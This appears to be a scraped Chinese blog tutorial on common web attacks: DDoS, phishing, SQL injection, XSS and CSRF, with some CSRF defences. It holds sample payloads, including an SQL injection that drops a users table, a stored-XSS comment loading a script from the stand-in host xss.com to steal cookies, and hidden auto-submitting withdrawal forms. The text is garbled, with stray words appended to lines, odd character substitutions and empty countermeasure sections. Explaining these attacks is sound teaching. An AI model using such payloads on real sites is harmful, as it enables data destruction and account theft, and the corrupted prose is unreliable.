按照攻击频率占比排序:php
名为:Denial-of-service attack
html
原理:攻击者会发送大量的请求,或者模拟大量合法用户的访问,占用服务器资源直至耗尽,致使真正有需求的用户没法访问此网站。前端
好比18年,阮一峰的网站被DDOS攻击。vue
用户经过搜索引擎或者跳转连接进入仿冒的网站(UI、域名和正版网站很类似),用户在仿冒网站中输入了用户名和密码,致使帐户信息泄漏。sql
SQL注入是一种代码注入的技术,攻击者能够将恶意SQL语句插入到输入字段中执行。数据库
场景举例:后端
有这样一个功能:网站前端有一个查询输入框,当输入用户的姓名时,查询并展现拥有该姓名的全部用户。当后端接收到查询参数户,作sql语句的拼接,而后执行sql,返回查询结果。浏览器
let username = req.body.username
let sql = "SELECT * FROM users WHERE name ='+ username +'";
exec(sql)
复制代码
当用户输入的查询参数若是是这样的字符时:安全
a';DROP TABLE users;SELECT * FROM userinfo WHERE 't' ='t
复制代码
则在服务器查询时至关于执行了:服务器
let sql = "SELECT * FROM users WHERE name = 'a';DROP TABLE users;SELECT * FROM userinfo WHERE 't' ='t'";
复制代码
这样的结果会致使 一次查询就能删除用户库,固然也能作其余任何数据库的操做。
应对措施:
Cross-site scripting。缩写成CSS与层叠样式表缩写的CSS容易混淆,故改称XSS。
因为网站存在漏洞,使得攻击者能够在网站输入恶意代码,并让恶意代码在其余用户浏览器运行,窃取用户信息。
反射性XSS,也就是被动的非持久性XSS。
诱骗用户点击URL带攻击代码的连接,服务器解析后响应,在返回的响应内容中隐藏和嵌入攻击者的XSS代码,被浏览器执行,从而攻击用户。
场景举例:
http://taobao.com/search?q=手机<script>恶意代码</script>
并把连接发布到各个社交平台,看成广告并诱惑用户去点击。利用相似于留言板的功能将恶意代码写进数据库,当用户下次访问该网站时,由于网站会从数据库中获取数据展现信息,因此用户只要打开这个网站就会中招。
场景举例:
攻击者发现淘宝网的商品评论框有XSS漏洞
攻击者发了一条评论,内容是:“ 该物品买到就是赚到!<script src="http://xss.com/xxx.js">
”。这个信息会展现到评论列表中,其中script标签会嵌入页面中。
其余用户打开该页面时,阅读评论的同时实际上恶意代码已经在偷偷执行。攻击者就会获取用户的Cookie劫持用户信息。
<script></script>
转义Cross-site request forgery,跨站点请求伪造。
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击的网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕事后台的用户验证,以达到冒充用户对被攻击的网站执行某项操做的目的。
场景举例:
GET类型的CSRF:
一个常见的场景匿名点赞,服务端会根据匿名访问者的IP来区别用户。攻击者把这个点赞接口集成到本身网站的图片里,任何人访问攻击者的网站都至关于给攻击者作了嫁衣帮忙店了一次赞。
<img src="http://zan.example/thumbup?amount=1&for=hacker">
复制代码
POST类型的CSRF:
有些服务器的接口是使用 POST 方法的,因此黑客须要在他的站点上伪造 POST 请求,当用户打开黑客的站点时,是自动提交 POST 请求
<form id= 'hacker-form' action="https://bank.example/withdraw" method=POST>
<input type="hidden" name="userll" value="hacker" />
<input type="hidden" name="numberll" value="100" />
</form>
复制代码
在上段代码中,咱们能够看到攻击者在它的页面上构建了一个隐藏的表单,该表单内容就是一个某网站的转帐接口,当用户打开该站点以后,这个表单就会被自动执行提交;当表单被提交以后,服务器会执行转帐操做。所以使用构建自动提交表单的这种返回就,能够自动实现跨站点POST数据提交
连接类型的CSRF:
这种须要用户本身动手点击连接才会触发。这种类型一般会在各个社交平台发布的图片中嵌入恶意连接,或者以广告的形式来诱导用户去点击。
<a href="http://test.com/csrf/withdwaw.php?amount=100&for=hacker" target="_blank">重磅消息!!<a/>
复制代码
因为以前用户登陆了信任的网站A,而且保存了登陆状态。这时只要用户主动访问了上面的这个PHP页面,则表示攻击成功。
因为CSRF与XSS不一样,CSRF攻击不会往页面注入恶意脚本,所以攻击者是没法经过CSRF攻击来获取用户页面数据的;主要是找到服务器的漏洞,因此对CSRF来讲攻击能够从提高服务器安全性的方面来防御。
1. 利用好Cookie的SameSite属性
由于攻击者会利用用户登陆状态来发起CSRF攻击,而Cookie正式浏览器和服务器之间维护登陆状态的一个关键数据,所以要阻止CSRF攻击,须要在Cookie上设置一些东西。
而CSRF攻击一般是第三方站点发起的,所以能够利用Cookie 中的 SameSite 属性来阻止CSRF攻击
2. 在Cookie里写入csrftoken的值
<form action="https://time.geekbang.org/sendcoin" method="POST">
<input type="hidden" csrftoken="afe3f94cnisar">
<input type="text" name="username" value="">
<input type="password" name="password" value="">
</form>
复制代码
当用户提交表单或者发送Ajax情求时,在情求参数或者请求头带上以前埋入的csrftoken。请求到服务器后服务器会从用户的请求参数里拿出token和请求自带的cookie里的token作对比,若是都存在且一致,则请求经过。
由于这个token是埋在该网站的,攻击者从第三方网站伪造请求时是得不到这个token因此没法在请求参数中带上token,请求就会失败